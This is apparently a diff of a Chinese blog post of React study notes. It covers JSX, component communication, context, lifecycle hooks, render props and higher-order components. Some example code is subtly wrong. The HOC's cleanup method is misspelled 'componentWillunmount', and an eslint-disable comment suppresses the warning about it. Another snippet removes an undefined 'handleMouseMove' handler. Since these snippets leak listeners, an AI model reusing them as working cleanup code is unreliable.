-</code></pre><p>在这个实例可以看出，只要使用setState方法改变了数据，就会重新渲染组件，同时如果没有更新，就不触发componentDidUpdate钩子，当发生更新才会触发</p><p>componentDidUpdate钩子：发生网络请求，DOM操作，注意：如果需要setState()，需要放在一个if条件中，传入prevProp参数，获取上一次更新的props，this.props可以获取到当前的props</p><p>例如：</p><pre><code>    componentDidUpdate(prevProp){
-        console.log(&quot;componentDidUpdate钩子触发&quot;)
-        if(prevProp.count !== this.props.count){
-            this.setState({})
-        }
-    }
-</code></pre><p>判断条件为更新前的props是否和当前的props不相等</p><p>卸载时：当组件从页面中卸载时</p><p>componentWillUnmount钩子：当组件被卸载时触发，可以用来执行清理工作等等</p><p>例如：</p><pre><code>class Maxabc extends React.Component{
-    componentDidUpdate(prevProp){
-        console.log(&quot;componentDidUpdate钩子触发&quot;)
-        if(prevProp.count !== this.props.count){
-            this.setState({})
-        }
-    }
-    constructor(props){
-        super(props)
-        this.state = {
-            count: 0
-        }
-    }
-    goClick = () =&gt;{
-        this.setState({
-            count: this.state.count + 1
-        })
-    }
-    render(){
-        console.log(&quot;reder钩子被触发&quot;)
-        return(
-            &lt;div&gt;
-                &lt;p&gt;
-                    点击数：{this.state.count}
-                &lt;/p&gt;
-                {
-                    this.state.count &gt;= 10 ? &lt;p&gt;已经点击了10次&lt;/p&gt; : &lt;Gabc/&gt;
-                }
-                &lt;button onClick={this.goClick}&gt;go&lt;/button&gt;
-            &lt;/div&gt;
-        )
-    }
-}
-class Gabc extends React.Component{
-    render(){
-        return(
-            &lt;div&gt;hallo,react&lt;/div&gt;
-        )
-    }
-    componentWillUnmount(){
-        console.log(&quot;componentWillUnmount钩子被触发&quot;)
-    }
-}
-ReactDOM.render(&lt;Maxabc/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>清理（例如定时器），例如：</p><pre><code>class Gabc extends React.Component{
-    componentDidMount(){
-        this.timeId = setInterval(()=&gt;{
-            console.log(&quot;定时器执行中&quot;)
-        },1000)
-    }
-    render(){
-        return(
-            &lt;div&gt;hallo,react&lt;/div&gt;
-        )
-    }
-    componentWillUnmount(){
-        console.log(&quot;componentWillUnmount钩子被触发&quot;)
-        clearInterval(this.timeId)
-    }
-}
-</code></pre><p>当卸载事件发生，就执行清除定时器，使用clearInterval()方法清除</p><p>注意：如果创建了一些不是组件本身的事件（例如定时器），一定要在组件被卸载的时候清除，避免一些奇怪的问题发生</p><hr><p>render-props和高阶组件（HOC）</p><p>复用相似功能（复用状态state，组件状态的逻辑）</p><p>render-props模式</p><p>将复用状态state，组件状态的逻辑封装到一个组件中</p><p>添加一个值为函数的prop，通过函数参数来获取，通过该函数的返回值作为要渲染的内容</p><p>将复用的状态作为props.render(state)方法的参数，暴露到组件的外部</p><p>例如：</p><pre><code>class Hello extends React.Component{
-    state = {
-        x: 0,
-        y: 0
-    }
-    yesClick = (e) =&gt;{
-        this.setState({
-            x: e.clientX,
-            y: e.clientY
-        })
-    }
-    componentDidMount(){
-        window.addEventListener(&quot;mousemove&quot;,this.yesClick)
-    }
-    render(){
-        return this.props.render(this.state)
-    }
-}
-class App extends React.Component{
-    render(){
-        return(
-            &lt;div&gt;
-                &lt;div&gt;hallo,react&lt;/div&gt;
-                &lt;Hello render = {(mouse) =&gt;{
-                    return(
-                        &lt;p&gt;
-                            鼠标坐标：{mouse.x},{mouse.y}
-                        &lt;/p&gt;
-                    )
-                }}/&gt;
-            &lt;/div&gt;
-        )
-    }
-}
-</code></pre><p>也可以使用children代替render属性，例如：</p><pre><code>class Hello extends React.Component{
-    state = {
-        x: 0,
-        y: 0
-    }
-    yesClick = (e) =&gt;{
-        this.setState({
-            x: e.clientX,
-            y: e.clientY
-        })
-    }
-    componentDidMount(){
-        window.addEventListener(&quot;mousemove&quot;,this.yesClick)
-    }
-    render(){
-        return this.props.children(this.state)
-    }
-}
-class App extends React.Component{
-    render(){
-        return(
-            &lt;div&gt;
-                &lt;div&gt;hallo,react&lt;/div&gt;
-                &lt;Hello&gt;
-                    {
-                        mouse =&gt;{
-                            return(
-                                &lt;p&gt;
-                                    鼠标坐标：{mouse.x},{mouse.y}
-                                &lt;/p&gt;
-                            )
-                        }
-                    }
-                &lt;/Hello&gt;
-            &lt;/div&gt;
-        )
-    }
-}
-ReactDOM.render(&lt;App/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>可以给render props模式加props校验</p><p>应该在组件卸载时解除mousemove事件绑定（只要不是react的事件，都应该进行清除其他事件，例如window事件）</p><pre><code>componentWillUnmount(){
-    window.removeEventListener(&quot;mousemove&quot;,this.handleMouseMove)
-}
-</code></pre><hr><p>高阶组件</p><p>高阶组件（HOC，Higher-Order Component），实质上就是一个函数，接收要包装的组件，返回增强后的组件</p><p>高阶组件实质上就是给组件进行“包装”，通过“包装”来增强组件的功能</p><p>高阶组件内部会创建一个类组件，在这个类组件中提供状态逻辑程序，通过prop将复用状态传递给被包装组件</p><p>创建函数，函数名一般是with开头，函数参数是要渲染的组件，因此参数是大写字母开头</p><p>在该函数中创建个类组件，提供复用的状态逻辑程序，状态通过prop传递给参数组件</p><p>例如：</p><pre><code>const withHallo = (DemoAbc) =&gt;{
-    return class App extends React.Component{
-        state = {
-            x: 0,
-            y: 0
-        }
-        onAbc = (e) =&gt;{
-            this.setState({
-                x: e.clientX,
-                y: e.clientY
-            })
-        }
-        render() {
-            return (
-                &lt;div onMouseMove= {this.onAbc}&gt;
-                    &lt;DemoAbc {...this.props} mouse={this.state}/&gt;
-                &lt;/div&gt;
-            )
-        }
-        componentDidMount(){
-            window.addEventListener(&quot;mousemove&quot;,this.onAbc)
-        }
-        // eslint-disable-next-line react/no-typos
-        componentWillunmount(){
-            window.removeEventListener(&quot;mousemove&quot;,this.onAbc)
-        }
-        
-    }
-}
-const PostMax = (props) =&gt;{
-    const { x, y } = props.mouse
-    return (
-      &lt;div &gt;
-        &lt;p&gt;(x:{x}, y:{y})&lt;/p&gt;
-      &lt;/div&gt;
-    ) 
-}
-const Demoyes = withHallo(PostMax)
-ReactDOM.render(&lt;Demoyes /&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>可以从上面的实例看出，实质上就是通过函数参数方式接收一个组件，再返回一个新的组件，达到“包装”更多的功能给组件</p><hr><p>使用高阶组件会导致获得的组件名称相同，名称取自于高阶组件中的类组件名称</p><p>通过设置displayName，来区分不同的组件，displayName是用来设置调试信息（react developer tools消息）的</p><p>可以通过react developer tools浏览器插件查看效果</p><p>通过给高阶组件中的类组件设置displayName，例如：</p><pre><code>const withHallo = (DemoAbc) =&gt;{
-    class App extends React.Component{
-        ......
-    }
-    App.displayName = `WithHallo${ADisplayName(DemoAbc)}`
-    return App
-}
-function ADisplayName(DemoAbc){
-    return DemoAbc.displayName || DemoAbc.name || &quot;Component&quot;
-}
-</code></pre><hr><p>传递props（避免props丢失）</p><p>通过高阶组件返回的组件中，是获取不到props的，因为数据都传递给高阶组件中的类组件了（高阶组件没有往下传递props）</p><p>只需要将state和this.props一起传递就可以解决，例如：</p><pre><code>render() {
-    return (
-        &lt;div onMouseMove= {this.onAbc}&gt;
-            &lt;DemoAbc  {...this.state} {...this.props} mouse={this.state}&gt;&lt;/DemoAbc&gt;
-        &lt;/div&gt;
-    )
-}
-const PostMax = (props) =&gt;{
-    const { x, y } = props.mouse
-    // eslint-disable-next-line no-undef
-    console.log(props)
-    return (
-      &lt;div &gt;
-        &lt;p&gt;(x:{x}, y:{y})&lt;/p&gt;
-      &lt;/div&gt;
-    ) 
-}
-const Demoyes = withHallo(PostMax)
-ReactDOM.render(&lt;Demoyes a=&quot;hallo&quot;/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>通过上面的方法向下传递props就能获取到a的值了， {&mldr;this.state} {&mldr;this.props}</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/56/><span class=title>« Prev</span><br><span>简单了解MVC，MVP和MVVM之间的不同与联系</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/54/><span class=title>Next »</span><br><span>Ajax学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import ReactDOM from &ldquo;react-dom&rdquo;</p><hr><p>React元素的属性名采用驼峰命名法</p><p>class就需要改为className，for要改为htmlFor等等，例如：</p><pre><code>const app = (&lt;div className=&quot;app&quot;&gt;hallo&lt;/div&gt;)
+</code></pre><p>如果一个元素中没有子节点可以直接写为</p><p>推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱</p><p>JavaScript表达式可使用大括号{}来包裹，直接使用，例如：</p><pre><code>const app = (&lt;div&gt;hallo，{3 &lt; 8 ? &quot;react&quot; : &quot;word&quot;}&lt;/div&gt;)
+</code></pre><p>任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式</p><p>因为if或者for之类的语句不能出现在大括号中</p><p>条件渲染（根据条件进行渲染指定jsx结构）</p><pre><code>import React from &quot;react&quot;
+import ReactDOM from &quot;react-dom&quot;
+const datamain = true;
+const hallo = () =&gt; {
+    if(datamain){
+        return &lt;div&gt;hallo word&lt;/div&gt;;
+    }
+    return &lt;div&gt;数据加载完成&lt;/div&gt;;
+}
+const app =(
+    &lt;div&gt;
+        {hallo()}
+    &lt;/div&gt;
+)
+ReactDOM.render(app,document.getElementById(&quot;app&quot;))
+</code></pre><p>当然也是支持三元表达式的，例如：</p><pre><code>const Data = () =&gt; {
+    return datamain ? (&lt;div&gt;yes&lt;/div&gt;) : (&lt;div&gt;no&lt;/div&gt;)
+}
+</code></pre><p>列表渲染</p><pre><code>const arrs = [
+  {id: 1,name: &quot;root&quot;},
+  {id: 2,name: &quot;admin&quot;},
+  {id:3,name: &quot;user&quot;}
+]
+const lists = (
+  &lt;ul&gt;
+    {arrs.map(item =&gt; &lt;li key={item.id}&gt;{item.name}&lt;/li&gt;)}
+  &lt;/ul&gt;
+)
+ReactDOM.render(lists,document.getElementById(&quot;app&quot;))
+</code></pre><p>jsx样式</p><p>行内样式style，类className，例如：</p><pre><code>const app = (&lt;div style={{color: &quot;#ccc&quot;}}&gt;hallo&lt;/div&gt;)
+</code></pre><hr><p>react组件的概念和vue组件一样，拼装积木，重复性，独立性</p><p>函数创建组件</p><p>函数名开头必须大写（否则报错），函数组件必须要有返回值（否则报错），如果返回值为null，就不渲染任何内容，例如：</p><pre><code>function Hello(){
+  return(
+    &lt;div&gt;hallo,react&lt;/div&gt;
+  )
+}
+ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>或者</p><pre><code>const Hello = () =&gt; (&lt;div&gt;hallo,react&lt;/div&gt;)
+</code></pre><p>类创建组件</p><p>同样类名开头也要是大写，而且类组件要继承React.Component父类，使用父类中的方法和属性，而且还要提供render()方法，render()还要有返回值</p><pre><code>class Hello extends React.Component{
+  render(){
+    return (&lt;div&gt;hallo,react&lt;/div&gt;)
+  }
+}
+ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>如果组件很多，应该放到单独的js文件，独立化个体，导入react，导出组件（export），用到该组件就导入</p><hr><p>事件绑定</p><p>react事件采用了驼峰命名法，比如onClick，onMouseEnter，onFocus，例如：</p><pre><code>class Hello extends React.Component{
+  mainClick(){
+    console.log(&quot;被点击了&quot;)
+  }
+  render(){
+    return (&lt;div onClick={this.mainClick}&gt;hallo,react&lt;/div&gt;)
+  }
+}
+</code></pre><p>注意：如果是函数组件，就不需要加this，直接return (hallo,react)</p><p>事件对象</p><p>可以通过事件处理程序的参数来获取到事件对象，在react中事件对象又叫为合成事件，兼容所有浏览器，无需担心浏览器兼容问题</p><p>阻止浏览器的默认行为</p><pre><code>class Hello extends React.Component{
+  mainClick(e){
+    e.preventDefault();
+    console.log(&quot;被点击了&quot;)
+  }
+  render(){
+    return (&lt;a onClick={this.mainClick} href=&quot;https://xiaochenabc123.test.com&quot;&gt;hallo,react&lt;/a&gt;)
+  }
+}
+</code></pre><p>状态组件（状态即数据的更新）</p><p>函数组件为无状态组件，类组件为有状态组件</p><p>如果数据不需要变化就用函数组件，否则就类组件</p><p>状态（state）是组件内部的私有数据，只能在组件内部使用，state的值是一个对象，表示组件可以存在多个数据</p><p>第一种存储state方法</p><pre><code>  constructor(){
+    super()
+    this.state ={
+      count :0
+    }
+  }
+</code></pre><p>第二种存储state方法（推荐）</p><pre><code>  state = {
+    count: 0
+  }
+</code></pre><p>获取state值</p><pre><code>  render(){
+    return (&lt;div&gt;{this.state.count}&lt;/div&gt;)
+  }
+</code></pre><p>修改状态（状态可变）</p><p>this.setState({要修改的数据})</p><pre><code>  render(){
+    return (&lt;div onClick={()=&gt;{
+      this.setState({
+        count: this.state.count + 1
+      })
+      }}&gt;{this.state.count}&lt;/div&gt;)
+    }
+  }
+</code></pre><p>注意：不要直接修改state的值，setState的作用是先更新state，然后更新视图</p><p>state抽离出逻辑</p><p>注意：箭头函数自身并不绑定this，箭头函数中this取决于外部环境</p><pre><code>class Hello extends React.Component{
+  state = {
+    count: 0
+  }
+  mainClick(){
+    this.setState({
+      count: this.state.count + 1
+    })
+  }
+  render(){
+    return (
+        &lt;div&gt;
+          &lt;div onClick={()=&gt; this.mainClick()}&gt;+1&lt;/div&gt;
+          &lt;div&gt;{this.state.count}&lt;/div&gt;
+        &lt;/div&gt;
+      )
+    }
+  }
+ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>解决绑定事件的this指向问题</p><p>如果不想利用指向函数（也可以给事件函数定义为指向函数），也可以利用bind()方法，例如：</p><pre><code>this.mainClick = this.mainClick.bind(this)
+</code></pre><hr><p>受控组件（其值受到react所控制），例如：</p><pre><code>  state = {
+    txt: &quot;&quot;
+  }
+  &lt;div&gt;
+      &lt;input type=&quot;text&quot; value={this.state.txt}
+      onChange ={ e =&gt; this.setState({
+        txt: e.target.value
+      })}
+      /&gt;
+      &lt;div&gt;
+      {this.state.txt}
+      &lt;/div&gt;
+  &lt;/div&gt;
+</code></pre><p>input（text），textarea，select都是用value控制，而input（CheckBox）就用checked控制</p><p>需要根据表单元素来判断其使用不同的类型控制（可以使用三元表达式来指示）</p><p>如果是非受控组件，想获取属性值，通过使用React.createRef()创建ref对象，使用ref来获取，例如：</p><pre><code>  mainClick = () =&gt;{
+    console.log(this.Ref.current.value)
+  }
+  constructor(){
+    super()
+    this.Ref = React.createRef()
+  }
+  &lt;div&gt;
+      &lt;input type=&quot;text&quot; ref={this.Ref}/&gt;
+      &lt;div onClick={this.mainClick}&gt;
+          hallo
+      &lt;/div&gt;
+  &lt;/div&gt;
+</code></pre><hr><p>深入学习React组件</p><p>组件通讯（组件是独立并且封闭的，需要共享组件的数据，就需要组件通讯了）</p><p>接收传递给组件的数据需要通过props，函数组件通过props参数接收，类组件通过this.props接收，例如：</p><pre><code>const Hallo = props =&gt;{
+    console.log(props)
+    return (
+        &lt;div&gt;数据：{props.name}&lt;/div&gt;
+    )
+}
+ReactDOM.render(&lt;Hallo name=&quot;root&quot;/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>从上面返回的props中可以看出是一个对象，也就是说可以传递多个数据</p><pre><code>class Hi extends React.Component{
+  render(){
+    return(
+      &lt;div&gt;数据：{this.props.name}&lt;/div&gt;
+    )
+  }
+}
+ReactDOM.render(&lt;Hi name=&quot;root&quot; pass={123}/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>props可以传递任意类型的数据，props是只读的对象，只能读取属性的值，不能修改该对象，使用类组件，如果有构造函数，需要将其props传递给super()，通过props参数，否则无法在构造函数获取props（super(props)）</p><p>组件的通讯有三种，分别是父对子，子对父，兄弟</p><p>父组件传递数据给子组件：只需要在父组件中定义子组件的属性，例如：</p><pre><code>const Hallo = props =&gt;{
+  console.log(props)
+  return (
+    &lt;span&gt;{props.name}&lt;/span&gt;
+    
+  )
+}
+class Hi extends React.Component{
+  state = {
+    Name: &quot;root&quot;
+  }
+  render(){
+    console.log(this.props)
+    return(
+      &lt;div&gt;数据：
+        &lt;Hallo name={this.state.Name}/&gt;
+      &lt;/div&gt;
+    )
+  }
+}
+ReactDOM.render(&lt;Hi/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>子组件传递数据给父组件</p><p>通过回调函数，父组件提供回调，子组件调用，将数据通过回调函数的参数传递，例如：</p><pre><code>class Abc extends React.Component{
+  state = {name: &quot;root&quot;}
+  DataClick = () =&gt;{
+    this.props.getMsg(this.state.name)
+  }
+  render(){
+    return (
+      &lt;div onClick={this.DataClick}&gt;yes&lt;/div&gt;
+    )
+  }
+}
+class Hi extends React.Component{
+  state = {
+    Name: &quot;默认值&quot;
+  }
+  getDate = data =&gt;{
+    console.log(data)
+    this.setState({
+      Name: data
+    })
+  }
+  render(){
+    return(
+      &lt;div&gt;数据：{this.state.Name}
+        &lt;Abc getMsg = {this.getDate}/&gt;
+      &lt;/div&gt;
+    )
+  }
+}
+ReactDOM.render(&lt;Hi/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><hr><p>兄弟组件通讯</p><p>将共享状态提升到最近的公共父组件中，由公共父组件管理这个状态（状态提升）</p><p>公共父组件：提供共享状态，提供操作共享状态的方法</p><p>A组件修改共享状态，公共父组件收到新的状态，B组件通过props接收到新的状态，从而达到兄弟组件之间的通讯</p><p>例如：</p><pre><code>class Hallo extends React.Component{
+    state = {
+        count: 0
+    }
+    onMax = () =&gt;{
+        this.setState({
+            count: this.state.count +1
+        })
+    }
+    render(){
+        return (
+            &lt;div&gt;
+                &lt;Abc count={this.state.count}/&gt;
+                &lt;Xyz onMax = {this.onMax}/&gt;
+            &lt;/div&gt;
+        )
+    }
+}
+const Abc = (props) =&gt; {
+    return (
+        &lt;div&gt;
+            hallo,{props.count}
+        &lt;/div&gt;
+    )
+}
+const Xyz = (props) =&gt; {
+    return (
+        &lt;div onClick = {() =&gt; props.onMax()}&gt;
+            xyz
+        &lt;/div&gt;
+    )
+}
+ReactDOM.render(&lt;Hallo /&gt;,document.getElementById(&quot;root&quot;))
+</code></pre><hr><p>Context（跨组件传递数据）</p><p>Context实质上就是生产者-消费者模式</p><p>调用React.createContext()，创建provide（提供数据）和consumer（获取数据）这两个组件</p><p>const {Provide,Consumer} = React.createContext()</p><p>通过value属性提供数据，然后通过回调函数来获取到value的数据</p><p>例如：</p><pre><code>const {Provider,Consumer} = React.createContext()
+class Hallo extends React.Component{
+    state = {
+        count: 0
+    }
+    onMax = () =&gt;{
+        this.setState({
+            count: this.state.count +1
+        })
+    }
+    render(){
+        return (
+            &lt;div&gt;
+                &lt;Provider value = &quot;react&quot;&gt;
+                    &lt;Abc /&gt;
+                &lt;/Provider&gt;
+                
+            &lt;/div&gt;
+        )
+    }
+}
+
+const Abc = (props) =&gt; {
+    return (
+        &lt;div&gt;
+            &lt;Consumer&gt;
+                {
+                   data =&gt; &lt;div&gt;hallo,{data}&lt;/div&gt;
+                }
+            &lt;/Consumer&gt;
+        &lt;/div&gt;
+    )
+}
+</code></pre><hr><p>props深入学习</p><p>children属性：表示组件标签的子节点，当组件标签有子节点时，props就会拥有该属性</p><p>children属性值可以是任意值（文本，jsx，组件，函数等等）</p><p>children属性指向到当前子节点的数据，{props.children}，例如：</p><pre><code>const Button = () =&gt; (
+    &lt;button&gt;
+        我是一个button组件
+    &lt;/button&gt;
+)
+
+const Yes = (props) =&gt;{
+    return(
+        &lt;div&gt;
+            组件的子节点：{props.children}
+        &lt;/div&gt;
+    )
+}
+ReactDOM.render(&lt;Yes&gt;&lt;Button/&gt;&lt;/Yes&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><hr><p>props校验（保证组件传入指定合法格式的数据）</p><p>安装prop-types</p><p>yarn add prop-types</p><p>导入prop-types包并且建立个props校验实例</p><pre><code>import propTypes from &quot;prop-types&quot;
+class Noabc extends React.Component{
+    render(){
+        return(
+            &lt;div&gt;hallo,{this.props.name}&lt;/div&gt;
+        )
+    }
+}
+Noabc.propTypes = {
+    name: propTypes.string
+}
+
+ReactDOM.render(&lt;Noabc name=&quot;react&quot;/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>当传入的值的类型不对，将抛出错误</p><hr><p>props默认值</p><p>给props设置默认值，在未传入props时生效</p><pre><code>class Defaultabc extends React.Component{
+    render(){
+        return(
+            &lt;div&gt;props的默认值：{this.props.Defaultdata}&lt;/div&gt;
+        )
+    }
+}
+Defaultabc.defaultProps = {
+    Defaultdata: 999
+}
+ReactDOM.render(&lt;Defaultabc/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><hr><p>单向数据流：指的是当前组件的state以props的形式流动时，只能流向组件树中比自己层级低的组件，不能向上流，也就是说可父传子，祖先传后辈，但是不能子传父</p><p>父传子通信，基于数据流单向的特性，父组件可以直接将this.props传入子组件中</p><p>子传父通信，因为数据流单向的特性，不能直接将数据传递给父组件，而是通过父组件传递子组件一个携带了上下文的函数，子组件得到这个函数后，传递给父组件的数据将以函数参数的形式发送回去</p><p>兄弟通信，利用父传子通信的特性，可以在两个兄弟组件之上创建一个父组件，来当中间件，实质上还是父传子通信</p><p>消息订阅与发布机制是组件通信的万金油，这边使用的是PubSubjs</p><p>安装</p><p>npm i pubsub-js</p><p>引入</p><p>import PubSub from &lsquo;pubsub-js&rsquo;</p><p>只需要在父组件（祖先组件）中发布，然后在子组件（后辈组件）中订阅，就可以实现了</p><p>发布</p><p>PubSub.publish(&rsquo;test&rsquo;,&lsquo;hallo word&rsquo;)</p><p>发布信息实质是就是发送数据</p><p>订阅</p><p>const DataMain = PubSub.subscribe(&rsquo;test&rsquo;,data)</p><p>其中data就是&rsquo;hallo word&rsquo;的数据，订阅是获取发布的数据</p><p>取消订阅</p><p>PubSub.unsubscribe(DataMain)</p><hr><p>组件的生命周期</p><p>组件的生命周期有利于掌握组件的运行方式，实现更复杂的组件功能，分析组件错误原因</p><p>生命周期：被创建，到挂载页面，卸载组件的过程</p><p>生命周期的每个阶段都可以伴随一些方法来调用，而这些方法就是生命周期的钩子函数（和vue的生命周期概念是一样的）</p><p>注意：只有类组件才有生命周期，函数组件没有</p><p>创建时：当组件被创建时（页面加载时），constructor() -> render() -> componentDidMount()</p><p>例如：</p><pre><code>class Defaultabc extends React.Component{
+    constructor(props){
+        super(props)
+        console.log(&quot;constructor钩子被触发&quot;)
+    }
+    componentDidMount(){
+        console.log(&quot;componentDidMount钩子被触发&quot;)
+    }
+    render(){
+        console.log(&quot;render钩子被触发&quot;)
+        return(
+            &lt;div&gt;hallo react&lt;/div&gt;
+        )
+    }
+}
+</code></pre><p>constructor钩子在创建组件时触发，初始化state，为事件程序绑定this</p><p>render钩子在组件渲染时触发，渲染视图，注意：不要在render下使用setState方法</p><p>componentDidMount钩子在组件被挂载后触发（完成DOM渲染），发送网络请求，DOM操作</p><p>更新时：</p><p>当一个组件接收到新属性（new props）时，使用setState()，强制更新forceUpdate()都会触发重新渲染</p><p>例如：</p><pre><code>class Maxabc extends React.Component{
+    constructor(props){
+        super(props)
+        this.state = {
+            count: 0
+        }
+    }
+    goClick = () =&gt;{
+        this.setState({
+            count: this.state.count + 1
+        })
+    }
+    componentDidUpdate(){
+        console.log(&quot;componentDidUpdate钩子触发&quot;)
+    }
+    render(){
+        console.log(&quot;reder钩子被触发&quot;)
+        return(
+            &lt;div&gt;
+                &lt;div&gt;hallo,{this.state.count}&lt;/div&gt;
+                &lt;button onClick={this.goClick}&gt;go&lt;/button&gt;
+            &lt;/div&gt;
+        )
+    }
+}
+ReactDOM.render(&lt;Maxabc/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>在这个实例可以看出，只要使用setState方法改变了数据，就会重新渲染组件，同时如果没有更新，就不触发componentDidUpdate钩子，当发生更新才会触发</p><p>componentDidUpdate钩子：发生网络请求，DOM操作，注意：如果需要setState()，需要放在一个if条件中，传入prevProp参数，获取上一次更新的props，this.props可以获取到当前的props</p><p>例如：</p><pre><code>    componentDidUpdate(prevProp){
+        console.log(&quot;componentDidUpdate钩子触发&quot;)
+        if(prevProp.count !== this.props.count){
+            this.setState({})
+        }
+    }
+</code></pre><p>判断条件为更新前的props是否和当前的props不相等</p><p>卸载时：当组件从页面中卸载时</p><p>componentWillUnmount钩子：当组件被卸载时触发，可以用来执行清理工作等等</p><p>例如：</p><pre><code>class Maxabc extends React.Component{
+    componentDidUpdate(prevProp){
+        console.log(&quot;componentDidUpdate钩子触发&quot;)
+        if(prevProp.count !== this.props.count){
+            this.setState({})
+        }
+    }
+    constructor(props){
+        super(props)
+        this.state = {
+            count: 0
+        }
+    }
+    goClick = () =&gt;{
+        this.setState({
+            count: this.state.count + 1
+        })
+    }
+    render(){
+        console.log(&quot;reder钩子被触发&quot;)
+        return(
+            &lt;div&gt;
+                &lt;p&gt;
+                    点击数：{this.state.count}
+                &lt;/p&gt;
+                {
+                    this.state.count &gt;= 10 ? &lt;p&gt;已经点击了10次&lt;/p&gt; : &lt;Gabc/&gt;
+                }
+                &lt;button onClick={this.goClick}&gt;go&lt;/button&gt;
+            &lt;/div&gt;
+        )
+    }
+}
+class Gabc extends React.Component{
+    render(){
+        return(
+            &lt;div&gt;hallo,react&lt;/div&gt;
+        )
+    }
+    componentWillUnmount(){
+        console.log(&quot;componentWillUnmount钩子被触发&quot;)
+    }
+}
+ReactDOM.render(&lt;Maxabc/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>清理（例如定时器），例如：</p><pre><code>class Gabc extends React.Component{
+    componentDidMount(){
+        this.timeId = setInterval(()=&gt;{
+            console.log(&quot;定时器执行中&quot;)
+        },1000)
+    }
+    render(){
+        return(
+            &lt;div&gt;hallo,react&lt;/div&gt;
+        )
+    }
+    componentWillUnmount(){
+        console.log(&quot;componentWillUnmount钩子被触发&quot;)
+        clearInterval(this.timeId)
+    }
+}
+</code></pre><p>当卸载事件发生，就执行清除定时器，使用clearInterval()方法清除</p><p>注意：如果创建了一些不是组件本身的事件（例如定时器），一定要在组件被卸载的时候清除，避免一些奇怪的问题发生</p><hr><p>render-props和高阶组件（HOC）</p><p>复用相似功能（复用状态state，组件状态的逻辑）</p><p>render-props模式</p><p>将复用状态state，组件状态的逻辑封装到一个组件中</p><p>添加一个值为函数的prop，通过函数参数来获取，通过该函数的返回值作为要渲染的内容</p><p>将复用的状态作为props.render(state)方法的参数，暴露到组件的外部</p><p>例如：</p><pre><code>class Hello extends React.Component{
+    state = {
+        x: 0,
+        y: 0
+    }
+    yesClick = (e) =&gt;{
+        this.setState({
+            x: e.clientX,
+            y: e.clientY
+        })
+    }
+    componentDidMount(){
+        window.addEventListener(&quot;mousemove&quot;,this.yesClick)
+    }
+    render(){
+        return this.props.render(this.state)
+    }
+}
+class App extends React.Component{
+    render(){
+        return(
+            &lt;div&gt;
+                &lt;div&gt;hallo,react&lt;/div&gt;
+                &lt;Hello render = {(mouse) =&gt;{
+                    return(
+                        &lt;p&gt;
+                            鼠标坐标：{mouse.x},{mouse.y}
+                        &lt;/p&gt;
+                    )
+                }}/&gt;
+            &lt;/div&gt;
+        )
+    }
+}
+</code></pre><p>也可以使用children代替render属性，例如：</p><pre><code>class Hello extends React.Component{
+    state = {
+        x: 0,
+        y: 0
+    }
+    yesClick = (e) =&gt;{
+        this.setState({
+            x: e.clientX,
+            y: e.clientY
+        })
+    }
+    componentDidMount(){
+        window.addEventListener(&quot;mousemove&quot;,this.yesClick)
+    }
+    render(){
+        return this.props.children(this.state)
+    }
+}
+class App extends React.Component{
+    render(){
+        return(
+            &lt;div&gt;
+                &lt;div&gt;hallo,react&lt;/div&gt;
+                &lt;Hello&gt;
+                    {
+                        mouse =&gt;{
+                            return(
+                                &lt;p&gt;
+                                    鼠标坐标：{mouse.x},{mouse.y}
+                                &lt;/p&gt;
+                            )
+                        }
+                    }
+                &lt;/Hello&gt;
+            &lt;/div&gt;
+        )
+    }
+}
+ReactDOM.render(&lt;App/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>可以给render props模式加props校验</p><p>应该在组件卸载时解除mousemove事件绑定（只要不是react的事件，都应该进行清除其他事件，例如window事件）</p><pre><code>componentWillUnmount(){
+    window.removeEventListener(&quot;mousemove&quot;,this.handleMouseMove)
+}
+</code></pre><hr><p>高阶组件</p><p>高阶组件（HOC，Higher-Order Component），实质上就是一个函数，接收要包装的组件，返回增强后的组件</p><p>高阶组件实质上就是给组件进行“包装”，通过“包装”来增强组件的功能</p><p>高阶组件内部会创建一个类组件，在这个类组件中提供状态逻辑程序，通过prop将复用状态传递给被包装组件</p><p>创建函数，函数名一般是with开头，函数参数是要渲染的组件，因此参数是大写字母开头</p><p>在该函数中创建个类组件，提供复用的状态逻辑程序，状态通过prop传递给参数组件</p><p>例如：</p><pre><code>const withHallo = (DemoAbc) =&gt;{
+    return class App extends React.Component{
+        state = {
+            x: 0,
+            y: 0
+        }
+        onAbc = (e) =&gt;{
+            this.setState({
+                x: e.clientX,
+                y: e.clientY
+            })
+        }
+        render() {
+            return (
+                &lt;div onMouseMove= {this.onAbc}&gt;
+                    &lt;DemoAbc {...this.props} mouse={this.state}/&gt;
+                &lt;/div&gt;
+            )
+        }
+        componentDidMount(){
+            window.addEventListener(&quot;mousemove&quot;,this.onAbc)
+        }
+        // eslint-disable-next-line react/no-typos
+        componentWillunmount(){
+            window.removeEventListener(&quot;mousemove&quot;,this.onAbc)
+        }
+        
+    }
+}
+const PostMax = (props) =&gt;{
+    const { x, y } = props.mouse
+    return (
+      &lt;div &gt;
+        &lt;p&gt;(x:{x}, y:{y})&lt;/p&gt;
